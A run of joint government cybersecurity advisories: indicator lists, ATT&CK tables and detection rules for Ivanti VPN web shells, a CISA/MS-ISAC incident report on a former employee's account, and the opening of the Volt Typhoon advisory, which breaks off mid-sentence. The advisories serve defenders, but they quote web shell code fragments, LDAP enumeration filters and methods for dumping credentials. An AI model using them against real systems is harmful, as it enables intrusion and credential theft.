to insert a web shell into it; also creates a series of entries into files associated with the In-build Integrity Checker Tool to evade detection when periodic scans are run./home/webserver/htdocs/dana-na/auth/compcheckresult.cgi
Modified legitimate component of the ICS VPN appliance, with new Perl module imports added and a one-liner to execute commands based on request parameters.
Allows remote code execution over the Internet if the attacker can craft a request with the correct parameters.
/home/webserver/htdocs/dana-na/auth/lastauthserverused.js
Modified legitimate JavaScript component loaded by user login page of the Web SSL VPN component of Ivanti Connect Secure.
Modified to harvest entered credentials and send them to a remote URL on an attacker-controlled domain.
88.119.169[.]227
IP Address
103.13.28[.]40
IP Address
46.8.68[.]100
IPv4
206.189.208[.]156
IP Address
DigitalOcean IP address tied to UTA0178.
gpoaccess[.]com
Hostname
Suspected UTA0178 domain discovered via domain registration patterns.
webb-institute[.]com
Hostname
Suspected UTA0178 domain discovered via domain registration patterns.
symantke[.]com
Hostname
UTA0178 domain used to collect credentials from compromised devices.
75.145.243[.]85
IP Address
UTA0178 IP address observed interacting with compromised device.
47.207.9[.]89
IP Address
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
98.160.48[.]170
IP Address
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
173.220.106[.]166
IP Address
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
73.128.178[.]221
IP Address
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
50.243.177[.]161
IP Address
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
50.213.208[.]89
IP Address
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
64.24.179[.]210
IP Address
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
75.145.224[.]109
IP Address
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
50.215.39[.]49
IP Address
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
71.127.149[.]194
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
173.53.43[.]7
UTA0178 IP address observed interacting with compromised device tied to Cyberoam proxy network.
Cav-0.1-py3.6.egg
ed4b855941d6d7e07aacf016a2402c4c870876a050a4a547af194f5a9b47945f
WIREFIRE web shell
Health.py
3045f5b3d355a9ab26ab6f44cc831a83
CHAINLINE web shell
compcheckresult.cgi
3d97f55a03ceb4f71671aa2ecf5b24e9
CHAINLINE web shell
lastauthserverused.js
2ec505088b942c234f39a37188e80d7a
LIGHTWIRE web shell
lastauthserverused.js
8eb042da6ba683ef1bae460af103cc44
WARPWIRE credential harvester variant
lastauthserverused.js
a739bd4c2b9f3679f43579711448786f
WARPWIRE credential harvester variant
lastauthserverused.js
a81813f70151a022ea1065b7f4d6b5ab
WARPWIRE credential harvester variant
lastauthserverused.js
d0c7a334a4d9dcd3c6335ae13bee59ea
WARPWIRE credential harvester variant
lastauthserverused.js
e8489983d73ed30a4240a14b1f161254
WARPWIRE credential harvester variant
logo.gif
N/A — varies
Configuration and cache dump or CAV web server log exfiltration
login.gif
N/A — varies
Configuration and cache dump
[a-fA-f0-9]{10.css
N/A — varies
Configuration and cache dump
visits.py
N/A — varies
WIREFIRE web shell
symantke[.]com
Domain
WARPWIRE C2 server
miltonhouse[.]nl
Domain
WARPWIRE variant C2 server
entraide-internationale[.]fr
Domain
WARPWIRE variant C2 server
api.d-n-s[.]name
Domain
WARPWIRE variant C2 server
cpanel.netbar[.]org
Domain
WARPWIRE variant C2 server
clickcom[.]click
Domain
WARPWIRE variant C2 server
clicko[.]click
Domain
WARPWIRE variant C2 server
duorhytm[.]fun
Domain
WARPWIRE variant C2 server
line-api[.]com
Domain
WARPWIRE variant C2 server
areekaweb[.]com
Domain
WARPWIRE variant C2 server
ehangmun[.]com
Domain
WARPWIRE variant C2 server
secure-cama[.]com
Domain
WARPWIRE variant C2 server
146.0.228[.]66
IPv4
WARPWIRE variant C2 server
159.65.130[.]146
IPv4
WARPWIRE variant C2 server
8.137.112[.]245
IPv4
WARPWIRE variant C2 server
91.92.254[.]14
IPv4
WARPWIRE variant C2 server
186.179.39[.]235
IPv4
Mass exploitation activity
50.215.39[.]49
IPv4
Post-exploitation activity
45.61.136[.]14
IPv4
Post-exploitation activity
173.220.106[.]166
IPv4
Post-exploitation activity
APPENDIX C: MITRE ATT&CK TACTICS AND TECHNIQUES
Technique Title
ID
Use
Exploit Public-Facing Applications
T1190
Cyber actors will use custom web shells planted on public facing applications which allows persistence in victims’ environment.
Technique Title
ID
Use
Valid Accounts
T1078
Cyber actors leverage compromised accounts to laterally move within internal systems via RDP, SBD, and SSH.
Server Software Component: Web Shell
T1505.003
Cyber actors may use web shells on internal- and external-facing web servers to establish persistent access to systems.
Technique Title
ID
Use
Command and Scripting Interpreter: PowerShell
T1059.001
Cyber actors leverage code execution from request parameters that are decoded from hex to base64 decoded, then passed to Assembly.Load(). Which is used to execute arbitrary powershell commands.
Exploitation for Client Execution
T1203
Cyber actors will exploit software vulnerabilities such as command-injection and achieve unauthenticated remote code execution (RCE).
APPENDIX D: DETECTION METHODS
rule apt_webshell_pl_complyshell: UTA0178
{
meta:
author = "threatintel@volexity.com"
date = "2023-12-13"
description = "Detection for the COMPLYSHELL webshell."
hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2"
os = "linux"
os_arch = "all"
report = "TIB-20231215"
scan_context = "file,memory"
last_modified = "2024-01-09T10:05Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 9995
version = 4
strings:
$s = "eval{my $c=Crypt::RC4->new("
condition:
$s
}
rule apt_webshell_aspx_glasstoken: UTA0178
{
meta:
author = "threatintel@volexity.com"
date = "2023-12-12"
description = "Detection for a custom webshell seen on external facing server. The webshell contains two functions, the first is to act as a Tunnel, using code borrowed from reGeorg, the second is custom code to execute arbitrary .NET code."
hash1 = "26cbb54b1feb75fe008e36285334d747428f80aacdb57badf294e597f3e9430d"
os = "win"
os_arch = "all"
report = "TIB-20231215"
scan_context = "file,memory"
last_modified = "2024-01-09T10:08Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 9994
version = 5
strings:
$s1 = "=Convert.FromBase64String(System.Text.Encoding.Default.GetString(" ascii
$re = /Assembly.Load(errors).CreateInstance("[a-z0-9A-Z]{4,12}").GetHashCode();/
condition:
for any i in (0..#s1):
(
$re in (@s1[i]..@s1[i]+512)
)
}
rule webshell_aspx_regeorg
{
meta:
author = "threatintel@volexity.com"
date = "2018-08-29"
description = "Detects the reGeorg webshell based on common strings in the webshell. May also detect other webshells which borrow code from ReGeorg."
hash = "9d901f1a494ffa98d967ee6ee30a46402c12a807ce425d5f51252eb69941d988"
os = "win"
os_arch = "all"
reference = "https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.aspx"
report = "TIB-20231215"
scan_context = "file,memory"
last_modified = "2024-01-09T10:04Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 410
version = 7
strings:
$a1 = "every office needs a tool like Georg" ascii
$a2 = "cmd = Request.QueryString.Get("cmd")" ascii
$a3 = "exKak.Message" ascii
$proxy1 = "if (rkey != "Content-Length" && rkey != "Transfer-Encoding")"
$proxy_b1 = "StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("UTF-8"));" ascii
$proxy_b2 = "string rbody = repBody.ReadToEnd();" ascii
$proxy_b3 = "Response.AddHeader("Content-Length", rbody.Length.ToString());" ascii
condition:
any of ($a*) or
$proxy1 or
all of ($proxy_b*)
}
rule hacktool_py_pysoxy
{
meta:
author = "threatintel@volexity.com"
date = "2024-01-09"
description = "SOCKS5 proxy tool used to relay connections."
hash1 = "e192932d834292478c9b1032543c53edfc2b252fdf7e27e4c438f4b249544eeb"
os = "all"
os_arch = "all"
reference = "https://github.com/MisterDaneel/pysoxy/blob/master/pysoxy.py"
report = "TIB-20240109"
scan_context = "file,memory"
last_modified = "2024-01-09T13:45Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 10065
version = 3
strings:
$s1 = "proxy_loop" ascii
$s2 = "connect_to_dst" ascii
$s3 = "request_client" ascii
$s4 = "subnegotiation_client" ascii
$s5 = "bind_port" ascii
condition:
all of them
}
rule apt_webshell_py_categorical: UTA0178
{
meta:
author = "threatintel@volexity.com"
date = "2024-01-18"
description = "Detection for the CATEGORICAL webshell."
os = "linux"
os_arch = "all"
scan_context = "file,memory"
severity = "critical"
strings:
$s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode" ascii
$s2 = "globals()[dskey].pop('result',None)" ascii
$s3 = "dsid=request.cookies.get('DSID'" ascii
condition:
any of ($s*)
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Threat Actor Leverages Compromised Account of Former Employee to Access State Government Organization
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationSUMMARY
The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) conducted an incident response assessment of a state government organization’s network environment after documents containing host and user information, including metadata, were posted on a dark web brokerage site. Analysis confirmed that an unidentified threat actor compromised network administrator credentials through the account of a former employee—a technique commonly leveraged by threat actors—to successfully authenticate to an internal virtual private network (VPN) access point, further navigate the victim’s on-premises environment, and execute various lightweight directory access protocol (LDAP) queries against a domain controller.[1] Analysis also focused on the victim’s Azure environment, which hosts sensitive systems and data, as well as the compromised on-premises environment. Analysis determined there were no indications the threat actor further compromised the organization by moving laterally from the on-premises environment to the Azure environment.
CISA and MS-ISAC are releasing this Cybersecurity Advisory (CSA) to provide network defenders with the tactics, techniques, and procedures (TTPs) used by the threat actor and methods to protect against similar exploitation of both unnecessary and privileged accounts.
Download the PDF version of this report:
(PDF, 499.99 KB
)
TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actor’s activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview
A state government organization was notified that documents containing host and user information, including metadata, were posted on a dark web brokerage site. After further investigation, the victim organization determined that the documents were accessed via the compromised account of a former employee. Threat actors commonly leverage valid accounts, including accounts of former employees that have not been properly removed from the Active Directory (AD), to gain access to organizations.[1] CISA and MS-ISAC assessed that an unidentified threat actor likely accessed documents containing host and user information to post on the dark web for profit after gaining access through the account of a former employee.
The scope of this investigation included the victim organization’s on-premises environment, as well as their Azure environment, which hosts sensitive systems and data. Analysis determined the threat actor did not move laterally from the compromised on-premises network to the Azure environment and did not compromise sensitive systems.
Untitled Goose Tool
Incident responders collected Azure and Microsoft Defender for Endpoint (MDE) logs using CISA’s Untitled Goose Tool—a free tool to help network defenders detect potentially malicious activity in Microsoft Azure, Azure Active Directory (AAD), and Microsoft 365 (M365) environments. CISA developed the Untitled Goose Tool to export and review AAD sign-in and audit logs, M365 unified audit logs (UAL), Azure activity logs, and MDE data. By exporting cloud artifacts, Untitled Goose Tool supports incident response teams with environments that do not ingest logs into a security information and event management (SIEM) tool.
Threat Actor Activity
The logs revealed the threat actor first connected from an unknown virtual machine (VM) to the victim’s on-premises environment via internet protocol (IP) addresses within their internal VPN range. CISA and MS-ISAC assessed that the threat actor connected to the VM through the victim’s VPN [T1133] with the intent to blend in with legitimate traffic to evade detection.
Initial Access: Compromised Domain Accounts
USER1: The threat actor gained initial access through the compromised account of a former employee with administrative privileges (
USER1
) [T1078.002] to conduct reconnaissance and discovery activities. The victim organization confirmed that this account was not disabled immediately following the employee’s departure.USER1
account credentials in a separate data breach due to the credentials appearing in publicly available channels containing leaked account information [T1589.001].USER1
had access to two virtualized servers including SharePoint and the workstation of the former employee. The workstation was virtualized from a physical workstation using the Veeam Physical to Virtual (P2V) function within the backup software.USER2: The threat actor likely obtained the
USER2
account credentials from the virtualized SharePoint server managed byUSER1
[T1213.002]. The victim confirmed that the administrator credentials forUSER2
were stored locally on this server [T1552.001].USER1
account, as well as from an additional compromised global domain administrator account (USER2
) [T1078.002].USER2
account was impactful due to the access it granted to both the on-premises AD and Azure AD [T1021.007], thus enabling administrative privileges [T1078.004].Following notification of the dark web posting, the victim organization immediately disabled the
USER1
account and took the two virtualized servers associated with the former employee offline. The victim also changed the password for theUSER2
account and removed administrator privileges. Neither of the administrative accounts had multifactor authentication (MFA) enabled.LDAP Queries
Through connection from the VM, the threat actor conducted LDAP queries of the AD, likely using the open source tool
AdFind.exe
, based on the format of the output. CISA and MS-ISAC assess the threat actor executed the LDAP queries [T1087.002] to collect user, host [T1018], and trust relationship information [T1482]. It is also believed the LDAP queries generated the text files the threat actor posted for sale on the dark web brokerage site:ad_users.txt
,ad_computers.txt
, andtrustdmp.txt
.Table 1 lists all queries that were conducted between 08:39:43-08:40:56 Coordinated Universal Time (UTC).
LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Person,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)
Collects names and metadata of users in the domain.
LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Computer,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)
Collects names and metadata of hosts in the domain.
LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)
Collects trust information in the domain.
LDAP Search Scope: WholeSubtree, Base Object: DC=[REDACTED],DC=local, Search Filter: ( & ( & (sAMAccountType=805306368) (servicePrincipalName=*) ( ! (sAMAccountName=krbtgt) ) ( ! (userAccountControl&2) ) ) (adminCount=1) )
Collects Domain Administrators and Service Principals in the domain.
Service Authentication
Through the VM connection, the threat actor was observed authenticating to various services on the victim organization’s network from the
USER1
andUSER2
administrative accounts. In all instances, the threat actor authenticated to the Common Internet File Service (CIFS) on various endpoints [T1078.002],[T1021.002]—a protocol used for providing shared access to files and printers between machines on the network. This was likely used for file, folder, and directory discovery [T1083], and assessed to be executed in an automated manner.USER1
authenticated to four services, presumably for the purpose of network and service discovery [T1046].USER2
authenticated to twelve services. Note: This account had administrative privileges to both the on-premises network and Azure tenant.MITRE ATT&CK TACTICS AND TECHNIQUES
See Tables 2-9 for all referenced threat actor’s tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Gather Victim Identity Information: Credentials
T1589.001
The actor likely gathered
USER1
account credentials in a data breach where account information appeared in publicly available channels.Valid Accounts: Domain Accounts
T1078.002
The actor gained initial access through the compromised account of a former employee with administrative privileges (
USER1
). The employee’s account was not immediately disabled after their departure.External Remote Services
T1133
The actor connected a VM via the victim’s VPN to blend in with legitimate traffic to evade detection.
Valid Accounts: Domain Accounts
T1078.002
The actor authenticated to multiple services from a compromised Global Domain Administrator account (
USER2
). The actor also authenticated to the Common Internet File Service (CIFS) on various endpoints.Valid Accounts: Cloud Accounts
T1078.004
The actor used a compromised account (
USER2
) which was synced to both the on-premises AD and Azure AD, thus enabling administrative privileges to both the on-premises network and Azure tenant.Unsecured Credentials: Credentials in Files
T1552.001
The actor likely obtained
USER2
account credentials from the virtualized SharePoint server where they were locally stored.Account Discovery: Domain Account
T1087.002
Through the VM connection, the actor executed LDAP queries of the AD.
Remote System Discovery
T1018
Through the VM connection, the actor executed LDAP queries to collect user and host information.
Domain Trust Discovery
T1482
Through the VM connection, the actor executed LDAP queries to collect trust relationship information.
File and Directory Discovery
T1083
The actor authenticated to the CIFS on various endpoints likely for the purpose of file, folder, and directory discovery.
Network Service Discovery
T1046
The actor used the compromised
USER1
account to authenticate to four services, presumably for the purpose of network and service discovery.Remote Services
T1021
The actor connected from an unknown VM and authenticated to multiple services via the
USER1
account.Remote Services: Cloud Services
T1021.007
The actor used the
USER2
account, which granted access to the Azure AD, as well as the on-premises AD.Remote Services: SMB/Windows Admin Shares
T1021.002
The actor used compromised accounts to interact with a remote network share using Server Message Block.
Data from Information Repositories: SharePoint
T1213.002
The actor likely obtained the
USER2
account credentials from the virtualized SharePoint server managed byUSER1
.MITIGATIONS
Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST), which apply to all critical infrastructure organizations and network defenders. The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Secure and Monitor Administrator Accounts
The threat actor gained access to the network via compromised administrator accounts that did not have MFA enabled. The compromised
USER2
Global Domain Administrator account could have enabled the threat actor to move laterally from the on-premises environment to the Azure tenant. In response to the incident, the victim organization removed administrator privileges forUSER2
. Additionally, the victim organization disabled unnecessary administrator accounts and enabled MFA for all administrator accounts. To prevent similar compromises, CISA and MS-ISAC recommend the following:Reduce Attack Surface
Unnecessary accounts, software, and services in the network create additional vectors for a threat actor to compromise. CISA and MS-ISAC recommend the following:
Evaluate Tenant Settings
By default, in Azure AD all users can register and manage all aspects of applications they create. Users can also determine and approve what organizational data and services the application can access. These default settings can enable a threat actor to access sensitive information and move laterally in the network. In addition, users who create an Azure AD automatically become the Global Administrator for that tenant. This could allow a threat actor to escalate privileges to execute malicious actions. CISA and MS-ISAC recommend the following:
Create a Forensically Ready Organization
Assess Security Configuration of Azure Environment
CISA created the Secure Cloud and Business Applications (SCuBA) assessment tool to help Federal Civilian Executive Branch (FCEB) agencies to verify that a M365 tenant configuration conforms to a minimal viable secure configuration baseline. Although the SCuBA assessment tool was developed for FCEB, other organizations can benefit from its output. CISA and MS-ISAC recommend the following:
Evaluate Conditional Access Policies
Conditional access policies require users who want to access a resource to complete an action. Conditional access policies also account for common signals, such as user or group memberships, IP location information, device, application, and risky sign-in behavior identified through integration with Azure AD Identity Protection.
Reset All Passwords and Establish Secure Password Policies
In response to the incident, the victim organization reset passwords for all users.
Mitigations for Vendors
CISA recommends that vendors incorporate secure by design principles and tactics into their practices, limiting the impact of threat actor techniques and strengthening the secure posture for their customers.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, CISA and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
CISA and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
REFERENCES
[1] CISA Analysis: Fiscal Year 2022 Risk and Vulnerability Assessments
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. CISA and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or MS-ISAC.
VERSION HISTORY
February 15, 2024: Initial version.
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PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationSUMMARY
The Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI) assess that People’s Republic of China (PRC) state-sponsored cyber actors are seeking to pre-position themselves on IT networks for disruptive or destructive cyberattacks against U.S. critical infrastructure in the event of a major crisis or conflict with the United States.
CISA, NSA, FBI and the following partners are releasing this advisory to warn critical infrastructure organizations about this assessment, which is based on observations from the U.S. authoring agencies’ incident response activities at critical infrastructure organizations compromised by the PRC state-sponsored cyber group known as Volt Typhoon (also known as Vanguard Panda, BRONZE SILHOUETTE, Dev-0391, UNC3236, Voltzite, and Insidious Taurus):
The U.S. authoring agencies have confirmed that Volt Typhoon has compromised the IT environments of multiple critical infrastructure organizations—primarily in Communications, Energy, Transportation Systems, and Water and Wastewater Systems Sectors—in the continental and non-continental United States and its territories, including Guam. Volt Typhoon’s choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable lateral movement to OT assets to disrupt functions. The U.S. authoring agencies are concerned about the potential for these actors to use their network access for disruptive effects in the event of potential geopolitical tensions and/or military conflicts. CCCS assesses that the direct threat to Canada’s critical infrastructure from PRC state-sponsored actors is likely lower than that to U.S. infrastructure, but should U.S. infrastructure be disrupted, Canada would likely be affected as well, due to cross-border integration. ASD’s ACSC and NCSC-NZ assess Australian and New Zealand critical infrastructure, respectively, could be vulnerable to similar activity from PRC state-sponsored actors.
As the authoring agencies have previously highlighted, the use of living off the land (LOTL) techniques is a hallmark of Volt Typhoon actors’ malicious cyber activity when targeting critical infrastructure. The group also relies on valid accounts and leverage strong operational security, which combined, allows for long-term undiscovered persistence. In fact, the U.S. authoring agencies have recently observed indications of Volt Typhoon actors maintaining access and footholds within some victim IT environments for at least five years. Volt Typhoon actors conduct extensive pre-exploitation reconnaissance to learn about the target organization and its environment; tailor their tactics, techniques, and procedures (TTPs) to the victim’s environment; and dedicate ongoing resources to maintaining persistence and understanding the target environment over time, even after initial compromise.
The authoring agencies urge critical infrastructure organizations to apply the mitigations in this advisory and to hunt for similar malicious activity using the guidance herein provided, along with the recommendations found in joint guide Identifying and Mitigating Living Off the Land Techniques. These mitigations are primarily intended for IT and OT administrators in critical infrastructure organizations. Following the mitigations for prevention of or in response to an incident will help disrupt Volt Typhoon’s accesses and reduce the threat to critical infrastructure entities.
If activity is identified, the authoring agencies strongly recommend that critical infrastructure organizations apply the incident response recommendations in this advisory and report the incident to the relevant agency (see Contact Information section).
For additional information, see joint advisory People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection and U.S. Department of Justice (DOJ) press release U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure. For more information on PRC state-sponsored malicious cyber activity, see CISA’s China Cyber Threat Overview and Advisories webpage.
Download the PDF version of this report:
(PDF, 1.56 MB
)
Read the accompanying Malware Analysis Report: MAR-10448362-1.v1 Volt Typhoon.
For a downloadable copy of indicators of compromise (IOCs), see:
(JSON, 59.40 KB
)
TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See Appendix C: MITRE ATT&CK Tactics and Techniques section for tables of the Volt Typhoon cyber threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview of Activity
In May 2023, the authoring agencies—working with industry partners—disclosed information about activity attributed to Volt Typhoon (see joint advisory People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection). Since then, CISA, NSA, and FBI have determined that this activity is part of a broader campaign in which Volt Typhoon actors have successfully infiltrated the networks of critical infrastructure organizations in the continental and non-continental United States and its territories, including Guam.
The U.S. authoring agencies have primarily observed compromises linked to Volt Typhoon in Communications, Energy, Transportation Systems, and Water and Wastewater Systems sector organizations’ IT networks. Some victims are smaller organizations with limited cybersecurity capabilities that provide critical services to larger organizations or key geographic locations.
Volt Typhoon actors tailor their TTPs to the victim environment; however, the U.S. authoring agencies have observed the actors typically following the same pattern of behavior across identified intrusions. Their choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable the disruption of OT functions across multiple critical infrastructure sectors (see Figure 1).
.dat
files, allowing Volt Typhoon actors to gather critical information while minimizing detection. This strategy, blending in-depth pre-compromise reconnaissance with meticulous post-exploitation intelligence collection, underscores their sophisticated and strategic approach to cyber operations.NTDS.dit
) from the DC. Volt Typhoon frequently employs the Volume Shadow Copy Service (VSS) using command-line utilities such asvssadmin
to accessNTDS.dit
. TheNTDS.dit
file is a centralized repository that contains critical Active Directory data, including user accounts, passwords (in hashed form), and other sensitive data, which can be leveraged for further exploitation. This method entails the creation of a shadow copy—a point-in-time snapshot—of the volume hosting theNTDS.dit
file. By leveraging this snapshot, Volt Typhoon actors effectively bypass the file locking mechanisms inherent in a live Windows environment, which typically prevent direct access to theNTDS.dit
file while the domain controller is operational.NTDS.dit
file and then applying various password cracking methods, such as brute force attacks, dictionary attacks, or more sophisticated techniques like rainbow tables to uncover the plaintext passwords. The successful decryption of these passwords allows Volt Typhoon actors to obtain elevated access and further infiltrate and manipulate the network.NTDS.dit
theft. This access enables potential disruptions, such as manipulating heating, ventilation, and air conditioning (HVAC) systems in server rooms or disrupting critical energy and water controls, leading to significant infrastructure failures (in some cases, Volt Typhoon actors had the capability to access camera surveillance systems at critical infrastructure facilities). In one confirmed compromise, Volt Typhoon actors moved laterally to a control system and were positioned to move to a second control system.After successfully gaining access to legitimate accounts, Volt Typhoon actors exhibit minimal activity within the compromised environment (except discovery as noted above), suggesting their objective is to maintain persistence rather than immediate exploitation. This assessment is supported by observed patterns where Volt Typhoon methodically re-targets the same organizations over extended periods, often spanning several years, to continuously validate and potentially enhance their unauthorized accesses. Evidence of their meticulous approach is seen in instances where they repeatedly exfiltrate domain credentials, ensuring access to current and valid accounts. For example, in one compromise, Volt Typhoon likely extracted
NTDS.dit
from three domain controllers in a four-year period. In another compromise, Volt Typhoon actors extractedNTDS.dit
two times from a victim in a nine-month period.Industry reporting—identifying that Volt Typhoon actors are silent on the network following credential dumping and perform discovery to learn about the environment, but do not exfiltrate data—is consistent with the U.S. authoring agencies’ observations. This indicates their aim is to achieve and maintain persistence on the network. In one confirmed compromise, an industry partner observed Volt Typhoon actors dumping credentials at regular intervals.
In addition to leveraging stolen account credentials, the actors use LOTL techniques and avoid leaving malware artifacts on systems that would cause alerts. Their strong focus on stealth and operational security allows them to maintain long-term, undiscovered persistence. Further, Volt Typhoon’s operational security is enhanced by targeted log deletion to conceal their actions within the compromised environment.
See the below sections for Volt Typhoon TTPs observed by the U.S. authoring agencies from multiple confirmed Volt Typhoon compromises.
Observed TTPs
Reconnaissance
Volt Typhoon actors conduct extensive pre-compromise reconnaissance [TA0043] to learn about the target organization [T1591], its network [T1590], and its staff [T1589]. This includes web searches [T1593]—including victim-owned sites [T1594]—for victim host [T1592], identity, and network information, especially for information on key network and IT administrators. According to industry reporting, Volt Typhoon actors use FOFA[1], Shodan, and Censys for querying or searching for exposed infrastructure. In some instances, the U.S. authoring agencies have observed Volt Typhoon actors targeting the personal emails of key network and IT staff [T1589.002] post compromise.
Resource Development
Historically, Volt Typhoon actors use multi-hop proxies for command and control (C2) infrastructure [T1090.003]. The proxy is typically composed of virtual private servers (VPSs) [T1583.003] or small office/home office (SOHO) routers. Recently, Volt Typhoon actors used Cisco and NETGEAR end-of-life SOHO routers implanted with KV Botnet malware to support their operations [T1584.005]. (See DOJ press release U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure for more information).
Initial Access
To obtain initial access [TA0001], Volt Typhoon actors commonly exploit vulnerabilities in networking appliances such as those from Fortinet, Ivanti Connect Secure (formerly Pulse Secure), NETGEAR, Citrix, and Cisco [T1190]. They often use publicly available exploit code for known vulnerabilities [T1588.005] but are also adept at discovering and exploiting zero-day vulnerabilities [T1587.004].
Once initial access is achieved, Volt Typhoon actors typically shift to establishing persistent access [TA0003]. They often use VPN sessions to securely connect to victim environments [T1133], enabling discreet follow-on intrusion activities. This tactic not only provides a stable foothold in the network but also allows them to blend in with regular traffic, significantly reducing their chances of detection.
Execution
Volt Typhoon actors rarely use malware for post-compromise execution. Instead, once Volt Typhoon actors gain access to target environments, they use hands-on-keyboard activity via the command-line [T1059] and other native tools and processes on systems [T1218] (often referred to as “LOLBins”), known as LOTL, to maintain and expand access to the victim networks. According to industry reporting, some “commands appear to be exploratory or experimental, as the operators [i.e., malicious actors] adjust and repeat them multiple times.”[2]
For more details on LOTL activity, see the Credential Access and Discovery sections and Appendix A: Volt Typhoon LOTL Activity.
Similar to LOTL, Volt Typhoon actors also use legitimate but outdated versions of network admin tools. For example, in one confirmed compromise, actors downloaded [T1105] an outdated version of
comsvcs.dll
on the DC in a non-standard folder.comsvcs.dll
is a legitimate Microsoft Dynamic Link Library (DLL) file normally found in theSystem32
folder. The actors used this DLL withMiniDump
and the process ID of the Local Security Authority Subsystem Service (LSASS) to dump the LSASS process memory [T1003.001] and obtain credentials (LSASS process memory space contains hashes for the current user’s operating system (OS) credentials).The actors also use legitimate non-native network admin and forensic tools. For example, Volt Typhoon actors have been observed using Magnet RAM Capture (MRC) version 1.20 on domain controllers. MRC is a free imaging tool that captures the physical memory of a computer, and Volt Typhoon actors likely used it to analyze in-memory data for sensitive information (such as credentials) and in-transit data not typically accessible on disk. Volt Typhoon actors have also been observed implanting Fast Reverse Proxy (FRP) for command and control.[3] (See the Command and Control section).
Persistence
Volt Typhoon primarily relies on valid credentials for persistence [T1078].
Defense Evasion
Volt Typhoon has strong operational security. Their actors primarily use LOTL for defense evasion [TA0005], which allows them to camouflage their malicious activity with typical system and network behavior, potentially circumventing simplistic endpoint security capabilities. For more information, see joint guide Identifying and Mitigating Living off the Land Techniques.
Volt Typhoon actors also obfuscate their malware. In one confirmed compromise, Volt Typhoon obfuscated FRP client files (
BrightmetricAgent.exe
andSMSvcService.exe
